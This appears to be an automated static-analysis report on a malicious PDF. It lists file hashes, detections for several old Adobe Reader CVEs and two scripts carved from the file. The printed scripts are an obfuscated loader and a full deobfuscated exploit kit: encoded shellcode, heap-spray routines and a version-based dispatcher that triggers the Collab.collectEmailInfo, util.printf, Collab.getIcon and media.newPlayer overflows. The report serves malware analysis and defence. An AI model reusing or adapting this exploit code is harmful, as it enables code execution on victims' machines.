Malicious PDF — malware analysis report

Static analysis result for SHA-256 e804a512c3310dbd…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 3c74ef4cc07cdaa0b944f0e893a51a89 SHA-1: 9aa1f5bc76a3e86029b8edaf49cab26f02030374 SHA-256: e804a512c3310dbd743ffebbf1660dcd471add14f24ef68ad439a6c82f93f735
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF44 562 bytes
SHA-256: ce65aef24dca391cce462c3f72f1ab6ff60ca872b86cea5f64f01087d5aa5c72
Preview script
First 1,000 lines of the extracted script
sftu='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
g = qwe();
t='le';
a=["e","a","n","b","w",'v','r'];
e=g[a[0]+a[5]+a[1]+('q',t[v+'r'](0,1))];
e('pkvcm=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
s=pkvcm[v+a[6]](10,4) + 'tr';
kyy=e('String.fro'+pkvcm[s](1,9));
q=pkvcm[pkvcm[v+'r'](10,4) + 'tr'](14);
npgij = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=npgij.length');
for (i = 0; i < k; i+=2) {
	vylh = npgij[i+1] + ('erybjkerl',npgij[i]);
	sftu += kyy(vylh);
}
e(sftu);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
SHA-256: 459496e671f7564480d89939f3ec7f554c9b111548fde3b3b725386ff992baec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2234%ue2aa%uc3fa%ue5e8%uffff%ucbff%u232e%u2222%ua37c%u7ece%u2223%uab22%uafc5%u326d%u4daf%u1376%u75f9%u7173%u7171%u7171%u7171%u7177%u4a71%u2326%u2222%u7477%u4a71%u4c4d%u2222%u574a%u4e50%u764f%uac4a%u2c6c%ucace%u226a%u2222%uca72%u225e%u2222%uf2dd%ue6a1%u4a2a%ucd6d%u276d%uca72%u224e%u2222%uf2dd%ue2a7%u3557%u7648%ud17b%u4a88%udc50%u3491%u3fca%u2222%u7222%u73ca%u2222%udd22%u71f2%udc48%uab4a%u234d%uca9f%u222a%u2222%uca72%u221e%u2222%uf2dd%u1342%u46e2%u72a9%ua912%u2e70%u70a9%ua936%u0a50%u3a9b%u2222%u1322%u13dd%u8ee2%u431e%u205e%u020e%uede3%u232f%uc0e5%ua3d2%u79dd%u689e%ua948%u3260%u30a9%ufb57%u66ab%u3e06%ue143%ua942%u064e%ua906%u1e67%u76a9%u5a27%uc823%u68a9%ua93a%u0278%uc923%u16c1%ua96b%ua916%ucc23%udd13%ue213%u8ede%ue2a6%u2556%uede3%u232f%uc9e5%u19d6%u065e%u570a%ua9c3%u0678%uc923%ua944%u692e%u78a9%u233e%ua9c9%ua926%uca23%u66ab%u3e06%ue043%u222a%ucdca%udddc%u4add%u5656%u1852%u0d0d%u574b%u4943%u410c%u0c4d%u4141%u4d0d%u520c%u524a%u441d%u101f%u0413%u1f47%u2217';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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